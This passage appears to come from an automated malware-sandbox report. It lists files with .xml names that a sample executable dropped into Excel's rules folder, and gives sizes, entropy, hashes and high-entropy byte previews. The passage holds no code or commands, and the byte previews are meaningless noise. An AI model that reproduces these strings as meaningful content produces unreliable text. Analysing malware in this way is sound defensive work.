Preview:	<?xml.I.....A#Q.E4.<....B.b.&.J]...:..$.6.'.g.k..R..&.(....rc..M...Q...?.[_.l]Lk.\..$..a0..W."2......._a....X..E......B..k....Gc..HKB_n8Q....:.......Qr..jo.....;^r.G4..{-NL..R..>...7v-.&.q&0.+.k.t..S....D..x...ib2R.4..%Q..s..\|).[.d.L...{.l%FkW.......c.2~...a.Tti.%.....{4,...pS....k/...l.Up.kG.$._...G.2..g{B....im.."X)th}L....}........7..y.hk.#..c.)..c......\|.Aw..H.O....../O.N..'d..G.T."...i...M.m...`..i[HE...."...CQu.5.u..!.5L6.....+..!.AxOP_>..a(n.D.aE.R.<8.$..).'6.AX.}...<<.rDl.n.+..Z..o.d......".PU....j.Z.............kQg..u....M..:.......=xp_....ms.j..^..$..V.i....Q.....z..@..ng..5'.R..{=.a......u_..V.V..j.g..F.j.p. .....-B..3..g7..ltr_K.3..wG......ql...Yt..o.......sK7.o.6ut.C..z.OZ...R.S.].S..Z[...5\|..[O&?T.S....I..............>A...<..P..r6yxl1GT8iG2X6JaJ1YNnYz19XjwMZnkCEzV04l5{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170082v1.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	737
Entropy (8bit):	7.650974003650914
Encrypted:	false
SSDEEP:	12:jywX4YGiqFzLqayE7RsJsOUmTPbSbwuqwJ4LBPY+yYlWTMXTixpZacii9a:jfkiWGZE7YsTezruqwJ49sDTMjiTkbD
MD5:	D45FF7F91DE3C36F16D9895B9AFF1184
SHA1:	1B0DF64E622891EDC6DE1E775231CC9A4478BB40
SHA-256:	FAB8CAD9A9DD252129F2B27E3D49F80235E118BF336B489670C31641290C0890
SHA-512:	F45E99FF05002D20338DE242E2C0C5C84198A08D8F7C89B124AEA743A212EEC1CD53FB81D310778FD663F1222CA6EE046D6DA1A51F625FFE4C61C93C4A5ED5AE
Malicious:	false
Preview:	<?xml+.......ok_..mG.....".&C.w......~.B]hH.0Q........V..x%..Ga.V.UT.K....\...-Y.6s.`6;3...8Z.s2..H`^+s..\|........6.\|/w\|...M..Y..,...p../.....p#O.U......L..7.....AUaK6..\hw..J..O...%t...+....d8..!.....n.....$=+.,.n.&.aN.hQ'b.3K.Ryv.7......\|..2.w#.E...a.%7.=.V....L..S.7-.VQ.qe4.Ti.....C......Q.#>`?...K.k.V.h.wtsF-..u...e..5............??!j.A.:0...8,.ic.G.....i.Q...rw...-@....rk....L.G...$....}XX....k &:O.~...$.......].......T..[...S..o.bE...t..\|.iz_...j.'y.l...U.!#n..l....>.q....?].]x.Ck..},eB&.V/.....6..=..6....<.....c..8D.".$&28..B.C.x.M.8.-...9.i..2......F;..8.B29/..*/3.Q\``.g.....T..[.I#.../....C2i4.J..60........$X$s4r6yxl1GT8iG2X6JaJ1YNnYz19XjwMZnkCEzV04l5{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170083v6.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1421
Entropy (8bit):	7.867761923847239
Encrypted:	false
SSDEEP:	24:fVksNZXfkB6YR6vYkR7tp0L/RlCiAciiExAIIH7FdR2IiTkbD:9ksTPW6fvY6cLplecidrO7FKZiD
MD5:	A7E731B94562755923A229B0994234B2
SHA1:	5793AEDBEC804E363E8A735BC03F871D16D5D638
SHA-256:	26BD90AC85B2CD0DC382ABBA7787B274BEAA97793858FA11372C9A43E087B209
SHA-512:	130A98E541BCA42B56E3BDD0AB995F4027BBB7FF9FA1679D5B3577664EFD7BD3297FD0039E432A2A8A82B7BBC6DC02A6A1D98429746402ED7B5A777DDBA6DBC6
Malicious:	false
Preview:	<?xmlBk.....{.i......X....r8...'....\|.........t.D.A.R.....(A.c.f..E...7....A...9 ... ..\|7....>...^...C......U...V..EN..1..s.e.S....R....(.L@S.b6.d.]..e.,.....0..v.'gI(.u.y.....D..Y..1..!...[...d.Z.........n..c9.S?...nH}v....L.L`...#F.A.>....\|.b..`#b...o...'....a.4L.O..6/....&..I&...6..v/@.q..7r.ed$.AQ).\".c.....R SU.A........p..;.".{.X6..jk..y.......s<....q.S.?I......4..I5.J..JV..2i[..w.C.Y.....k....A/.....W..Ae7n.+..Ej.6}...B....Ru..[3A(._aA..7<..IQ44...B.f./L..d.........4..\.VJJ............28}c.H!..7.5.)uHJ...J..nM... ..X...&NFP....}.>..o9....%.%".<f..d...z.-...<..).k..'.{&.W.f..v..x....a..(Y..%..K@{..$R..W./.....%......^..P.T+8v$...]..P....5b....+.'......6TQ.......tg...N.....#.......cb..^j..o..@.P....]. -...X/.....k.. &..NT.k[."..1].....#l....r.PDj..[V..s5h)w<...>......LN.......er./.j..Q!...S.}..R...*V..7f".2m..As.$.oA.k.........].mA.j.....#i...r...B.b..U........x..v.Ox.\|.\|....#+V.#.......OS.Z=.....4X~-Tlc8..K..iU.m..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170086v2.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1171
Entropy (8bit):	7.828982162447141
Encrypted:	false
SSDEEP:	24:N0bU0YtwmYvTtDcsNpQeqQfmp89Yau0fCzetLLRpx0dLQXZ/buGiTkbD:e4buvN7IQfe8d9azaPxeQJyjiD
MD5:	163105FE1EED9686B857D8BD9F728F34
SHA1:	2FD32375B9ED170FA4362690E64AA5E4C233DB9E
SHA-256:	31FD02AEA6C6EEED1703F1E699D2848E598B1741DD70F6E78704D3A71D555A66
SHA-512:	6032A4D8E08AB9929195B65969D89B948566818F34E4CE0CE87F39BFE0F5BD410F01C8B8CAC8A8D09E7840EC956825FA4256CEE58768C85A9E4DD49284318409
Malicious:	false
Preview:	<?xml^C..k>....5.7b....44......Y.../.....=^..... (9~.9ig...d...^"...<...v..`?y{....;.k.,.....bm6f..xb.g.....o5.[......K....{.'J.#.....'..C.s.......O.3..p.....A.=..m\|VK.m.....b...B....W.........)....2. ......K$#.....W..s.S.#.O.%..+6.u....E.L...f......X.U..I.O".C.`.`gz-.[....Gv.l..`..l.I.{.&.......].ZY.bAB...Af...46..~..ll.>.zp`.L...guu..a..Z..u..m....O..m.l;R~_...ZE%......=..d..H.sBP.D%Bk....[3...7./.,.W<y[..\|&.V.9w.WY....E.`..)...24;A1...9.... ...i..<..A..R..p.{.!...@.j....X.boX.;0-)R..<.G...[.YdQ...>n.U?c.4Y.t...u.....~.Q.3..b.E......;..........."..I.(k..0.$.....;k....m.%".+&.1..wP.....&}....4..z.w.o$.7.-..<Jr./....A...9..J....i../.).S..d.Q..<b.....g..<.g+..B...6.G*Os.D.{.]..6..%...8...-.JX./...........Q}5...o.t..;Ou..h.o.n.)...q..K.....Y..x.PZ.....jL..g..4B......l7.&.L4FI.,......sn.1..J.E...T....V..O..1d.Y..5.G.G.\|_9...Hz..h._E.$..w.7...KD.........K....^...uM&....].X.P.c.I@....g.N...\.[e._..a...W....kJ.L.V/..a9....g....%9.. .......^...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170087v2.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1176
Entropy (8bit):	7.8296091915105555
Encrypted:	false
SSDEEP:	24:JpxbbrkayZVA8UXVUj+6Ab/+xjQpnuSFjByI6MEXfLvAz9Q++Rj6D8L0biTkbD:BbboayrA8UX09Ab/XpnRxKURT+RWy0Oq
MD5:	03BA21FC1F53D0A60E70F2D37DDC6FC1
SHA1:	F8D3F164350C56973F9F321CB7CD37ADFE7E23FC
SHA-256:	79FE7421CAB3906E1F63FBA39598BF8B044DFF019A9EB64AD29F92AA75BC281A
SHA-512:	FB941CD0CCECFE9DE61678EEA6484AE997D9806DD7E13C54293BF54F28CA27A3DC87776D9EFD0422BF21B8FBA417AD607D303FF5292C5A538C84EBA33C321C7B
Malicious:	false
Preview:	<?xml.. {.@q...T.d.&.u%.j.+ ......\|..8<..V.<..}...S..........v.@Q........k.......p+.....]Fi.....u./..e.=.....o...tp[x..>..y..S.._(.}..NH.[~.<-.0&M.\w.0..Yj.S.e...be..B...U...qv.M?u.F....F..u..._....`...^....F2#.. T!..A..2..3x.Y..D$....M.Z.N.......zq.Ff99.!\..mj.u_..D..]..?M...'a\|d@6.F..x.._ds.9..)Z...1..5B.d.%...qZ=.4X#Dy.w~$K\|dTR..H.@y.......3.....w..<.c.^.....S...{.z.G..jq.1.v...Gb.5...(....a....(........J.1..i6V....~w1.xHuD.2/.........@.Dg.Wd.}....l\|..A.~t..j@,c\|-.@.M=/.5jH.7..s5.Xu.'\.i=..".....N K.....9....'.5.Bd....b.`...w.D.-.'..1c....;4.9..HQ....0Q..@......W.U.eq.3.....?.:R.G....Z..a.b...H%..}..w...7;.0..^....R(.....U.../.S......{../...:......"...a..!.T2....s..B.v.^.=.....T.LF...}..f......}h..h.\|;tLkv.v.-..q..eje..Xx/W+....9...A..[6VP<.$._....E.C..F...`"a.:x2.h......E.Mp...2B....T.`.?;8..."_.....#...........k.k.3...B..oLZJ..@......W.....0.....K...Y..../N=O....t.?i*..].:)..v..C.Vr.i..Z.\|. ...Zo.............$i...,...a.)..?....^.&

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170088v3.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1155
Entropy (8bit):	7.83561487075244
Encrypted:	false
SSDEEP:	24:A5dw3vn4HMKNauVFOOKsFMQz/Wyiw4mNUB0jXWVEwiTkbD:A5CviMoOOcQz/WvwdNUB07DBiD
MD5:	914C01CB22788966774A779F42F949AF
SHA1:	DE6072433E8CD3F0D7B1FD8804716F5653F3DAC0
SHA-256:	6E81EA9FF45FDAEB372D3D7F33D91FCDC34469CB487CD70D0CBE27727092D6AC
SHA-512:	6639E07C46C62F93A2CFE2C63BE257A8C721ECA49C1D952818BCE874FE4EF77430F634015E3176A756588906574F2B7252049946E0D11A9BD5963A8CD408F1BC
Malicious:	false
Preview:	<?xml=FE...A..7.ndv]s..+.t3Rk+..<..,.b..\| ..{w..kOM.b...(I$tE.9.".u.J......./.:!..q..jC.<..RPR>%.X,..d}...M.^.Q...h....?f....\|.a....#./.J.........g^..=..A...\|W~`....y.#...:.j:........m.j..cC..._..>T.....A...tQ?f..yqE.l:.....}='~.H...a.).'.5l>[hV... H.T.e;..W...T...Q..K..H.&.....t...d.....>G.......g+Is;.......~t.e=...)..^.8...~>\|M.9,p..2M....c.}".....Zdv...i".!G.5.F.z..{....p]a.!.........T&.gq..(8...; .~.z2d...N..^..8{sU..l./.F....]$W7....H..\|.........`Y.D.d.S....$.?.<...X..O....>!.i..Wm.m8..n.~..= ..bor.b...?...{y..7L^@m...<....(..\|8.....I.5..T\.......(...b..'...<...s.E...O.`'G...4#[...(3....-..D.<3.....l.c...X.w.d_5CInX.2..e..D.;~Q.79..:H.{..l0V`...S...N.......\..>..p.....:..B^.I.I......OS8..x..P3.1....M..z".jv......5.2&'.'..z.k.#j.{.=....b.r.i.......2..W.&X.......\8...e4R...v.8.u...#Cc,......j.X.....//.....l...1Z.i..k@..^y./..(E.%.p_.......[.N...!......U`.r....)....].>..L%..z!...n..a.1.!.:.0.A...w0Jy.He.........c..mi...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170089v1.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	715
Entropy (8bit):	7.688743933296903
Encrypted:	false
SSDEEP:	12:0WNIENFtOsGtK9dh8KfizrwLdEb5kC6mwBrW/1WEaD8xrkzYmixpZacii9a:tztxdTtmkC6dBq1WEaD8qtiTkbD
MD5:	B0B8D78AD6A7282EBF4A2445FF459BB4
SHA1:	AB077FD45DA5DBC3BB9CA9FEB9B1856FECF0D508
SHA-256:	ACFBA8C8A4CF87AA85E4333BC8DF6DCFEAC78C0DDC3C3381E2B959FC8F4BB9F0
SHA-512:	4AC3650DAC801E58205E8A114EC3F5B864AAAB77EFF6A1C0F9786C44170465E503191C0462AADC6352719B145BBE1C3C44A7C1574E69F41DE7B1B4A4D6E14AA1
Malicious:	false
Preview:	<?xml..Z.\|..3I...l\|.:\........2".............NR....3.7(.+V .w..[...-Jt...W.l..;.......W.'...S.<..aX..9.1.8u.Sd.Y2..~..).....4ETZ0s8.o^.F@.`....)uh.....8...... .Rb..&.p......{.rs...c]..}/)H.h.y..h.&.YU.%.s...._.K........O.z....D4....m.......u.....>..Dj.L.S.....kE....;.q&x.:..4."g..j2.q......N..w..?...o;(sXp~.k.....Z..B..Z..eE%....K.....5.=.M4.~..[..)C;Q#..{.$..j..$w..,...).F..q.m....^u(..k?..\|I9&m.5.:....X.#...s.`1...MA..\|.i..m..Q.....gq..\...e<..C..Ge..~...;.....t&.A%h...uI5T..~..h...XO)....K.5.}..F6.g^.....I.;....{.Y........=.....Nj..!.E...k...M...X.`.....%.M}..`l.5...O..-..x.<1....."..^5&q..r6yxl1GT8iG2X6JaJ1YNnYz19XjwMZnkCEzV04l5{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170091v2.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1398
Entropy (8bit):	7.852846976478284
Encrypted:	false
SSDEEP:	24:T+iSnHqaAQRh13QAJ3OxPDRNIW7ksK8bol3SW2ZWrA7HQf3mViTkbD:TjSnKavJQGePXKjL+KATQ/xiD
MD5:	127FC3A9B5CEC8F44A9CED44AC121257
SHA1:	D0232B8FE32A1D4F54F3FE7EFB03613E4C6960B6
SHA-256:	28A42D7E301C8FE8195A98D9E35A65555D467D2F198CBE68151DB0D75D1AAF3E
SHA-512:	A4DC7A75F3E7F70623036FDA4F6F129010CC3FAAF3387DFF17BFAF740378DFC23BC6F2348FAD9D38CCF8B236BF1BA5DC730A59E45A894571C857307421FE6219
Malicious:	false
Preview:	<?xml>GXS...#>.9.........n3.H.=+.C.".D.M.?...Sv..&..6_.K....T.....c....z.t.@................8w.......`.._;-...d}..v...5L...MdT.h{.p..#.a.1r...._........t.4.L:D.L....a%...=t7...=V.I..@6o....J.......BN.L....A4,V..p.~..+M.'7.3....@=......+...$...%......N.a..+.....7...w..X`.g.!tHr....~/...........7-.f{..{........{....;.....5r.I.".z.).Zxk.._..Y..3/9`..>..... .."g/..z..;.N....?..6..t..Hk..\+.N#W.....I+.`..o.M..`u+JQ....4p..nW...G.............l..k...X.../%.2.w.M..M.b&...h..f....D.......+.X..).E..k.:r=..Tb..XUz.3/..<.a.....]G.H..&9.Cicv..zb.1../.t...w~^.!..<....PG2.B.R.yB.J]#m.p..9...n...a..Qh....2C...w..L..B....G.N. .....{.L'tf..qz{.E......0(...v....U.[....Wz..\|...p......p$....L!58...P.m<l<P_.UZ...I.M....9_..dZ..>.l..vnz..t...>..z.Z.7.*...K.ZF\|...;....^'.>...x{......mK....[.......d"4BjX.o]h...T.SU.-.k`.....2..".\|R..H.V..n~Q.0...#uR&.u..T........Y./....R.(`..........G..........HG=H)k.l..~...#..3..H.@...>JW...o.T5.<X....iU8..Yi.7....9.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170095v1.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1008
Entropy (8bit):	7.7653821903723355
Encrypted:	false
SSDEEP:	24:VwYHF/YN0vLHYWC0/Q86ZktmiFAW7riTkbD:xHFi0vLJ//16WVFPKiD
MD5:	7827A3B712D470167E64C3FA880A6AE6
SHA1:	21C3AA1DB4607D11D69A648AC8BEC72403682920
SHA-256:	80170D79A1412AED9513CB81391BDF5F0107ADAAF03EF4B9B238DCC886FC1082
SHA-512:	238662E1875E1A9F3168A99785798CDD1A6267DEAD4783B45D16B3D9D1D0662746BB7DE0425AE3023E749CE118A4C180B822FE7F8554ED1808D5F4E1E781CFB6
Malicious:	false
Preview:	<?xml.9.xI...\|5L,Y...Ah..D[j#(..0..)..wA...NW.;...q^.:.$.......w.h....).xo.i-oSg..QY.=6(....B)O4"o..q...eCxKAjz.8...]. >.{d..1.Ccv2.. ......-}.>....&\.{L.z..By...\Q...c..yQ#.{...5...t.u..U..S...O)......0(.....l....."...@.R....Nu..C:{A,U.a...s..h.......b.N.J..a>..Rh.9..S.,."d.e...Z.y6..[...\.....#....R6=...^.4..Of..,..2...+...PQ86..=..S...S...C..@4...d....-...zj7...{.F<^..a.....8...U4....R.s..4.......{!....w7...;XK._.Wn..y....~..@.D.....xaY.x...c.".XQ._.............j).&os.`.......V.z...f.....^............V/VV.qi?..q...(PgL.d..../..Dq..q..V<..oO'2...Fu.)hB.....H..0...f7l8a...#.x..t!..:3.b.....SC.d..j.-j.>.^...oS......ft?.E..YdZ.e.]6<..8...6..d^.[..".....7)2...\.#.......,...T..M(.@.....;}.v..#?>.......Xg...~....mZUZ<}.s`W...G...;..3...F..YT^.En.q........-._...I.......F .)$......}.....".5.PN...\...A...z.%...d.;.....^......M...3.U.6..D^.~...p.....c..b.....{...........q....,0ir6yxl1GT8iG2X6JaJ1YNnYz19XjwMZnkCEzV04l5{36A698B9-D67C-4E07-BE82-0EC5B

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170096v1.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	719
Entropy (8bit):	7.689135970891042
Encrypted:	false
SSDEEP:	12:tkRmjvoPt2sjuJjeG/W4I6hDP2cGqwYGk5yL+VEa6ZQ2kL1UHIliHuu/ixpZaciD:yRavoPPOrjHB2cGvk5rejZQ2kgIl1u/1
MD5:	805618D95CA2A0EEE599E513009C95D4
SHA1:	FC1179DA156EC885EFD140892670C9D64203475C
SHA-256:	45E8D5887BF7B66B23F7EA0FD557547B34638FC168604B3177348102CFC16335
SHA-512:	AD3756DFAFE3BD9E3B20FC02D04885EBC2491F6A19E8EA9ED6DDD1B1415689D6B33C5FF22BB7325930E75C4F4A8896A5554DA89DEFC335758E6A9A8DD825462D
Malicious:	false
Preview:	<?xml.fhe.:.zt.E...EU...hU........?2.$.u..m.K739m.......E.OlD...{'....7..l\..o!...q9..W.L.e.C.=.a.'...~j...;.aPK92.(..KKKP.,..AS..l,...1...<.;90!.TO.........6.#.KL...g....J..W8.....XN...K....?.9.../$..G....>.t`}.)....8$....<Ys.#...?T..63.w.,!{...^.#.C.-.b..:"BY...W.)/..8..t.....LiLr.f.S.....\.t.=...-$mbR...;..9..V.B.$.v=.$.BU..W.O ..5.f=.....l@.....K+..g..+.Mpw7.......s.+3..m..iB3.7.@".ed.m...R..i..65@.t3.....?.....D....Y..P~4o..[.C..G..)kRH3V....2t....j.[D........S:(....._.q.]..8..`.o....&/....j....`.}YU..g..~.P..Oz........$........j.Q5.qtw.h..........c`2..5..`...<...n..."w.J..9....E[5..Z:..IZj~....d.p..jr6yxl1GT8iG2X6JaJ1YNnYz19XjwMZnkCEzV04l5{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170097v1.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	793
Entropy (8bit):	7.723733037590478
Encrypted:	false
SSDEEP:	24:iDmYXIbyG0xnlJu3qh/W+6iM/MrPZPiTkbD:ii+9G8ny3qhWlitkiD
MD5:	4C79AC8CCC19B2734C316E68FA9808E3
SHA1:	98B9C72194071190F1A50E87B75BB47D27952272
SHA-256:	24E480D0965FE46B8510DD4710B7ED61A3DBACE3410B292BE6807EE4183FA02F
SHA-512:	4D86DAC6D16C90B1D931E5000A8BB7BEAC2CA7F5E1BC905FEA4550508B575986A8A507028F25620CE863E6E70A967F7C53C2CB089495FBA66B1AF755847BAE8A
Malicious:	false
Preview:	<?xml...j..+Q......=.^...O...]..XY+NSS...f...Nq@..O..1..W.=..V....,..k.f .`M.vP......rH. ...AK.......(.G.....K6;.](..X.........w..n..y\|.....#K .0.>up.5..4E]"..b.J.......N..Q.&1.9\|..n..9....w.... .~.,.:..6..O.[G.Y..C.....2.....uk....A...4!;.w..kG.JS.c5.5y7;..P...k.:.%.E\. hA.....?....-..:j;\...c.."..qaw...VKW....P.....C........;...j....... .\"......r...[c/../.B....v.........n........Svy.3.(.......6....q.j.66....J../MW\.m.<l..........t&......C..S..}.$...K..J.......[I+.RGC..i..9.PG..............?ro...FP......o.h....@.C..4f...6s...-.4$.........W...Z..VOqM.......?/k..a.m.bRB...]3.H.zg....h..,.)..f*0M.......f...).6..e.LQs.....<...S.U_.[.f..]..pyF...M.?(X..$G.......r6yxl1GT8iG2X6JaJ1YNnYz19XjwMZnkCEzV04l5{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170098v2.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	761
Entropy (8bit):	7.73740516611433
Encrypted:	false
SSDEEP:	12:hAdRVus1tUjWRpk3sK7p3f6l/XgXsp8JeM8GXHhVRuAt7TSti57jY2o6ixpZaciD:hOus1tUjWRpUs03f6l/YdwZUhb/7WtM1
MD5:	E846115787D9EF44565137F881D2CD34
SHA1:	0B7A929E9CEE2EDEC333609991723CAD417F7F24
SHA-256:	79027DB42153A0B9EDF2717D1E8793503AD1F00B3C6AF8A5405119819C78114A
SHA-512:	E484F13DE799A3C8CD25D81AE6B7961A97A6045A5F54AD5939918C28E2B27DEE2770DC71695E20E8DC19F56A2C133970DFB2E6C46994449A3167D2708F413E4E
Malicious:	false
Preview:	<?xml....4..>}V..$.$a..~wY........z3...X.f%jz.j.._..4:..$@.5...[.r..b.$..N...B.\|...+Y......... .U..'1w..?R...2......l..X..K.......0".s$@{..\|.L.L.hJ..5[/,.^..jW.w.x...G.S6.........,",6../.........Ci..\|.....pV..5..&h q:...'./...%...[.w.R..+....v.."{o.w...`...%p..v\F..}X..Bc.J.t.Ee.L.D.n.........h..`.....{..L.Qn."..!6..........4..+.....-.G1.@].....R.1e...;... ...5n.W`$.s:.A%..........g..k.C"..[...(..d.....X....A`Y....iN. <d..k.x[..m...g...'.....t...s]..S...+.....~a...=.......+....hq[...}.U,..y...7..x..%.?.W...T.S'c....3.u...<....U:....\|O.bc.h1v.q...3.!..px.....d9.<A.........lJ.I........G..s.k..u7.@......*M.t...l}r.k...=.......mr6yxl1GT8iG2X6JaJ1YNnYz19XjwMZnkCEzV04l5{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170099v2.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1306
Entropy (8bit):	7.8238706342236295
Encrypted:	false
SSDEEP:	24:lmyqsWnDWxgXjIG/4ZUoOkIKoDEB8XQLusVcRULDV0c1MZiTkbD:lmyen6YATIVqDuYLG4iD
MD5:	70F32A30FD1E1CC388F7344BDD7976A9
SHA1:	2164CF8518A12C53E2B2A8B6A54D901515019ACB
SHA-256:	BF116F9C9E186C2CF8B70920F30D02B9B60671C82801DE398F1B0683F0FF3649
SHA-512:	7F6A1055BECCE3196BDB05A29D96D511454DD881AA5F6E34BBABDBAB9B4A7F31368821ECD00306112D23BF61B812F58AA96F71BC8E9EE1CD12E42DBE5917124C
Malicious:	false
Preview:	<?xml..Q.......(6x...R...H...z...M,.u.f.@..<1c....F.I#-....~[......../h...n...3...uj.9yG.+.z.......kV....._$......a#.p....[.......8....~.E/d....h....-..)...h...^('A...W.G..Y..pB....v.....<\|q@_gr.l..&[...V-,S.....Wa.9..V-....\.;}.. r.K.dP..Bc...+.r....C......p".):.r.{S.P$.tq..H.z...t..@l$M.."......Q'.....~......U,..fo<0....V>..%}..X.+W.c.}%4\...,I.....D7BR6.'.F_^G;..$.A......,T.O....u.[.+.....FA.).\.......0...%....h.6..V..#F_m.T.Wvi1.....ey....?..}...0!...O.x'..........[..2\|0..Lx~.....C....<.n.?...p...\|.9.bc...........}.R.W=S..x...x.O/E... .sg...`..%..J.....y.nK.'.7.AwR._F'j.^fE}\|j.F.n{....:....../^U)..$.d.....n../.....p.Fm......Rl3....1.x.h9.3n.\.,i....#..[l.D?`.$4f...y.0.H.?..)...5....8kh.za..Ge}......m......6..zT_...-bRx.y..H./u....]..^....es......5......... ..L...d.UP...c..x.a.r..(..w..P..x..Vy.'N..$bZ..Ytc.....6......8.)u.YW......NaV..N.o.......c.....K>cL..7.....0.&.15j..n......y..5..H.C.U.;J.]......V..{......W=_......c.V...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170103v1.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	4285
Entropy (8bit):	7.9630058024787385
Encrypted:	false
SSDEEP:	96:d1+k3Q7tRzmOCZn+sxVYXxlu1rtHyIgiVLhckODwtvQSyMmHCSMbsX:33A7tR3CZn1H2u1rVyIgYykJ7yMmHSbg
MD5:	EE02A562DF166D6FC3B8C725A7D1DC93
SHA1:	64953C23ECA52AE8A13068178C21BC9E5697CBC7
SHA-256:	6BC6EC2DECD8F0E72F9EF2A8C4633AC3777D5919715A0829F3E032479F630D31
SHA-512:	975F4599DFC85E653389853ACE5FCCCC3FAA95D620F77413514307E082C730E9BCCA7A56CFC8ECAE04D5F919132BE6E50814BAA090E0393A82C554D2B310A7C2
Malicious:	false
Preview:	<?xml'.yC.........H....^..;v".2.d..3!.d..]_.O\&.....'t.[<..R...<.4.... \..8....G'NKy.F.u..,..B..t..6..h.k.^%o.}s.....bKx.yZ..Jo.[/.\.X.8...3..pi....$.......s.+.no........T.......lYp...B{l.g.i.J..y......\.....{.....2.`..1.;{?`....}..,GD.....!.O".'.3x/.ak.j.......t.F7......L..`.n.......a.'.$...eU.Ji.Z....5.~.T.\v.......4.x*w..R...9.............mJ..I.A..9........i......zEtsa.0h.Z.4 .$H.z....8s..#X ..b.Q.f.y".n.q...V=...'..% ...6..g.3....K.T..:..vg..B...@..eq..).P...d.I6w.<......Q.=.....j...S.HF..2L@XU..2.<.i.r.4.........Kk.};.tuPx...# ...!..n.M...i.z.c...5J.3..?....K...P.{A....~L^V....u6..bU...;...,..=s.tbE...p.7......O..4...p]....F..r.....3C..O..C"..J.......3...........$.l2,..k.(y7)S...5sl0..f^.k:.....5%..\l..D.s....6.....f......@.~...k1.mf.yL.Z.....Y..p..[.H....#..h.#.W.0%RVo2.\x@.B ......`.=......pt.@.o.m;.Tu.U..%3.U.q....KH....zd..]#..P....cF.#..m-.4.ts.u`$...+.#kM..yv...&.K..D\|$d{n.2..r.._....g..?.S.:h.W..qb\|..}..1z..;...T.....4.k.K....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170104v1.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	854
Entropy (8bit):	7.746438771753508
Encrypted:	false
SSDEEP:	24:NBdaSKPZOmilBvOuNnpeXDTHpdTef1NJq9SziTkbD:RaxeHzNpeXnJdexBGiD
MD5:	EF9447E37BBD4CC2CF703829955BEA5A
SHA1:	2AB65F4F89FB8959F5AF007DF2E8EF9E841E1B8C
SHA-256:	B82FD68766F7457D9AF07D05423979A4216429284243CAF5A64AF2ACCFD64699
SHA-512:	616C590B7AE1DD009ACA030721A6902E2CE1BDDFE6F117430F97A4588913D8FC4ADED02276866F9F6D84E8BEDCAF271A91F6919301370935AF3F66E6D8B1B318
Malicious:	false
Preview:	<?xml.....~...0..K1g.....k....1-=#.....8....R]....B...b...m;..'R....w.\....y.W...e$N..#....yr...q...\...t#..KT...F....[.q.......q....Bnkw4....8....."E.....F...l.5b..=0.../..z,9{..\|..x...\"Z21....-.X1.2F..C..._..D....c....66X.?.}..g.a.,.>\|....c.l...%3,.O{.A..{.)M...?-.l.X.,w.$)....n....7./.>`6#....4...C.W....[.z..%.q...*eU1.Q....ZOZ......X..v...c..) WXnYa#.8.SI:....q...p.d.".:?...P..uh;....).\..{.......N\..'..vZN./..f.N,4!..'d.._..r"G..Y..C.X..z..;6.(...i....X@.S..O76G...K..U-..:9hU.}...P5.Y........k..;p....C.....]...9..0.....$.1...t7.J.........n5.....LGe.....uh..Tq.a>......$......\|...V.....6.....K.W.W.(..w.......i.~M.{.1..M.Y.e8D.v.`1.10;...-{......I.u.Ab..0...^.......g.`...a:..s..&.\|..Y..:.\...~....>b.(}Pr6yxl1GT8iG2X6JaJ1YNnYz19XjwMZnkCEzV04l5{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170105v3.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	929
Entropy (8bit):	7.758996937737207
Encrypted:	false
SSDEEP:	24:IO8+k6/c/rIJt0erz+6wLDyYydCyXiucdAybiTkbD:7k60/20ery6wPdAyOiD
